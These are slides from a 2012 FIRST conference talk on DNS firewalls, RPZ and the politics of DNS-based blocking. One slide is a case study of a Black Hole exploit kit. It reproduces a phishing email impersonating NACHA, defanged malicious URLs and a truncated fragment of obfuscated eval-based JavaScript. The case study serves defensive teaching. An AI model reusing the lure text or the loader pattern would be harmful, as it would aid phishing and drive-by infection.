security is not an island
HILTON MALTA

24th Annual FIRST Conference
MALTA
17 - 22 June 2012
DNS Filtering and Firewalls
Panacea for network protection or the cause of Internet Balkanization?

Rod Rasmussen
Internet Identity
Presenter: Rod Rasmussen

- Rod.Rasmussen<at>InternetIdentity.com
- President & CTO Internet Identity
- Co-Chair APWG Internet Policy Committee
- ICANN SSAC member
- Active member FIRST, MAAWG, DNS-OARC, OTA
- FCC CSRIC WG Co-Chair
Maslow's hammer
"if all you have is a hammer, everything looks like a nail"
Depending on the size of the hammer and the scale of the problem, perhaps that hammer isn’t always the right tool...
Let’s talk about DNS “Hammers”
When Would one use a DNS Hammer?

1. What’s the problem?
2. Who are you as an organization?
3. Who is using your network?
4. How closely aligned are the goals, needs, and desires of 2 and 3?

If you don’t have alignment of goals between the network operator and network users, the DNS isn’t going to be a good tool to use to modify behavior…
Driving Issues

• Malicious domains.hosts created regularly
• Heavy abuse continues – often registrar or dynamic DNS provider specific
• Enterprises attacked stealthily via hostnames (Aurora, Night Dragon, Shady RAT)
• Governments have discovered the DNS
• RIAA, MPAA, trademark/IP holders have discovered the DNS
• ISPs know all about the DNS but treat it very differently depending on their business model
What Does a Nail Look Like?

- Malware C&C’s
- Phishing domains
- Mule recruiting sites
- Counterfeit Goods
- An alternate ad network
- Trademark infringement
- Anti-government sites
- Dissidents
- People with different opinions about things than yours

Guess it depends...
The Hammer

• Recursive DNS servers
  – Blocking domains/hostnames
  – Filtering/redirecting domains/hostnames
  – Ditto with IP addresses via reverse resolution
• Specialized nameserver software or add-ons
• BIND RPZ’s
• Data about hostnames to block or alter
• Think of this as a “DNS Firewall”
How to use the Hammer

- Pre-load the cache with the responses you want to give and keep them there
  - Done regularly for various routing/internal uses
  - Many ways to get entries in there
- Can synthesize values or NX responses
- Get lists of hostnames to block from somewhere
  - Develop lists in-house
  - Free (not quite as in beer)
  - Commercial services
- RPZs make this trivial, secure, and very scalable when using BIND
RPZ – Response Policy Zones

• “Most new domain names are malicious.
  – I am stunned by the simplicity and truth of that observation. Every day lots of new names are added to the global DNS, and most of them belong to scammers, spammers, e-criminals, and speculators…. Domains are cheap, domains are plentiful, and as a result most of them are dreck or worse.”
  – Paul Vixie
    • "Taking Back the DNS” July 30, 2010
    • http://www.circleid.com/posts/20100728_taking_back_the_dns/

• RPZ (Response Policy Zones) the result

• Any BIND resolver can easily implement large-scale domain block lists
  – Scalable: Several lists, different policies per list
  – Fast: Automatically updated with real-time data
Perspective is Key

• Protecting what?
  – Enterprise network
  – Critical infrastructure
  – ISP customer base
  – Entire country

• Protecting for whom?
  – Your own network/employees
  – Customers
  – Government
  – IP holders
What is the User Incentive?

- Work for a company with sensitive data
- Don’t want to lose their own PII
- Don’t want to have computer infected
- Keep kids away from certain content
- Don’t want to “overpay” for music/movies
- Want to buy stuff that’s not quite legal (gray)
- Trying to talk to a C&C (note may not be “real” user)
- Want to speak out against the government
- Want to start a revolution…
User and Network Operator Goals

• Must be aligned
  – Alignment = use of filtering/blocking
• Non-alignment leads to user non-acceptance
  – Alternative DNS solutions available
  – Alternatives to DNS itself available
  – Users will forego protection against some threats (malware) to achieve their own goals (cheap music)
When Goals are Aligned
Enterprises and Gov. Agencies

- Constant assault now – 2011 “year of the breach”
  - Spear phishing, malware via e-mail/social engineering
  - Hacking and silent extraction of data (aka APT)
  - Criminal and nation state actors
- Most attacks leverage hostnames
  - Exfiltration via “victim.badguydomain.tld” – DUH!
- Plenty of data available, but not implemented at the perimeter
- Time to install a “DNS Firewall”
Good Protection is Possible

• Enterprises have goal alignment with users
  – Outliers on the network are probably intruders
• Enterprise NOC can dictate port 53 policy
  – All users routed to “DNS Firewall” recursive servers
  – Via VPN for remote users
• Many solutions and list sources available
• Can use DNS resolution logging to detect anomalies
  – Previously unknown malware/data exfiltration
  – DNS tunneling and malware C&C via the DNS
When Goals are NOT Aligned
SOPA/PIPA and Other US Legislation

- High profile legislation in US that would require ISPs to block domains at resolvers due to lack of take-down action by other countries
  - Onus put on ISPs to implement DNS black lists
  - Government to run black lists, but private (copyright holders) to add entries
  - Supported by IP holders with strong backing
- Off the table for now, but certainly not dead
Worldwide Regulatory Efforts

- Similar effect legislation being adopted/discussed throughout Europe
  - Italy -> led to large-scale adoption of alternate DNS
  - France, Ireland -> varied approach/poor results
  - ACTA (not truly equivalent, but Anon thinks so…)

- Popping up around the world

- Some countries run national “firewalls” and filtering and have for years

- Real implications for all recursive DNS operators
Why this doesn’t work

• Users want the blocked content
• Alternative methods exist to get it
  – IP address based resources
    • Remember that DNS just maps names to IPs
  – Alternative DNS servers abound
    • ISPs cannot force port 53 (anti-competitive)
    • DNS can use other ports, proxies
  – Proxy servers for web and other content
• Breaks DNSSEC (well it will at some point)
Worst-case Scenarios

- Rampant use of alternate, unsafe DNS servers
- Users bypass protections provided by their ISPs
- Rise of shady software that allows circumvention – potentially opening up new exploits
- Split root
DNSSEC May Will Break

• Currently not an issue with recursive server level validation
• Will be a major problem with endpoint validation
  – DNS Firewall responses are “lies” and DNSSEC resolvers don’t like being lied to…
  – Will find alternative validation method and still get to the “bad” hostname
• This needs to be fixed for compatibility
• Question – will DNSSEC kill DNS Firewalls, or vice-versa?
Examples when DNS Firewalls Work
Complex attacks using evil domains

• The game is changing significantly
  – Obfuscated redirects for drive-by-downloads
  – ACL’s to prevent responders from seeing issues
  – Malware rendezvous and C&C hidden in code
• Abuse of whois privacy to shield criminal registrations
• Criminals use of automated domain registration processes – built into the malware control panel
• DGA for automated botnet reconnections
DGA: Dumb, Generally Avoidable

- Favorite tactic by criminals to keep botnets running
  - Conficker the “big daddy” with over 250,000/day
  - Many Zeus variants and other malware families
- This is silly – we KNOW what domains they use and when they’ll use them
  - Easily blocked via DNS Firewall
  - Can predetermine “hits” on legit domains
  - Botted hosts easily found via redirection of DNS
- Yet we don’t implement this simple protection method in most enterprises today
Sample: Black Hole Exploit Site

- Massive “phishy” spam campaigns
- Lures lead to compromised sites
- Redirect to other sites
- Eventual landing page uses tricks to exploit browser vulnerabilities and infect machine
- Redirection is obfuscated – hard to know what domains are involved without specialized tools
- Actual infection domains registered by miscreants
Lure e-mail

From: 'The Electronic Payments Association'@mail.internetidentity.com, alert@nacha.org
Subject: Rejected ACH transaction
Date: February 1, 2012 1:15:34 AM PST
To: [Redacted]

The ACH transaction (ID: 856195780004), recently initiated from your bank account (by you or any other person), was rejected by the other financial institution.

<table>
<thead>
<tr>
<th>Rejected transfer</th>
</tr>
</thead>
<tbody>
<tr>
<td>Transaction ID:</td>
</tr>
<tr>
<td>Reason for rejection</td>
</tr>
<tr>
<td>Transaction Report</td>
</tr>
</tbody>
</table>

13450 Sunrise Valley Drive, Suite 100
Herndon, VA 20171

2011 NACHA - The Electronic Payments Association

Obfuscated URL: hxxp://stonehengeroofingproducts.com/EmNGorgC/index.html
Exploit Site

- `hxxp://hakkaboat.com/search.php`
- Domain is owned by the criminal
- Go there directly and you end up at Google
- Eventually downloads Zeus
- Getting these shut down can be HARD!

<html><body><script> if(window.document) a=([].unshift+16).substr(1,3); aa=([].unshift+[].unshift).substr(1,3); if(a===aa) f={q:[[59'70'58'76'68'60'69'75'5'78'73'64'75'60'-1'-2'19'58'60'69'75'60'73'21'19'63'8'21'39'67'60'56'74'60'-9'78'56'64'75'-9'71'56'62'60'-9'64'74'-9'67'70'56'59'64'69'62'5'5'19'63'8'21']
Deleted 1000s of lines of code

"'-1'60'69'59'54'73'60'59'64'73'60'58'75'3'15'7'7'0'18'84'74'71'67'7'-1'0'18"[0]).q.split(""'); md='a'; e=eval; w=f; s=''; f='f'; st=e("S".concat("tri","ng")); for(i=0;i<w.length;i++) { z=w[i]; s=s.concat(st[f+'romCharCod'+'e'] (41+parseInt(z))); } q={run:{run:function(w){e(w)}}}; q['run']=['ru'+'n'](s); </script></body></html>
DNS Firewalls Easily Block These

- Can implement a block/redirect as soon as new exploit site identified
  - Users clicking on e-mails will never get to eventual drop site
- Many techniques can ID bad domains prior to use
  - Passive DNS
  - Nameserver monitoring
  - Registration data for new domains
- Automate adding to DNS Firewall
Nation State Filtering that Works

• China – yeah, seriously
  – No, not the infamous “Great Firewall”
  – DNS hacking events that affect major services
• Baidu.com hijacking
  – #5 domain on Alexa
  – Domain hijacked at registrar and defaced
  – Government stepped in and told Chinese ISPs to add proper resolution for Baidu.com to their resolvers
  – Chinese consumers were happy, rest of world waited for fix
• Fixed a major problem for an entire country quickly
• This can be implemented elsewhere
  – Volunteer alerting system perhaps?
A Recent Question on .su

Heavy abuse on a TLD leads to full TLD block by major organizations
Answer was, “yeah, probably worth it”
Abuse.ch recommends blocking the entire .su TLD: http://www.abuse.ch/?p=3581
Trivial with a DNS Firewall
DNS Firewall Wrap-up

• We have a variety of issues that appear to be nails
• DNS provides an effective hammer
  – If your goals are aligned
  – Will smash your thumb if users don’t want to be redirected or blocked
• Nation-state or ISP policy-based hammering is largely going to be ineffective
• Applying in the enterprise or a network under attack is very effective – blocks and mitigates issues
Thank You!

• Now for your questions…
DNS Filtering and Firewalls
Panacea for network protection or the cause of Internet Balkanization?

Rod Rasmussen
Internet Identity
rod.rasmussen<at>internetidentity.com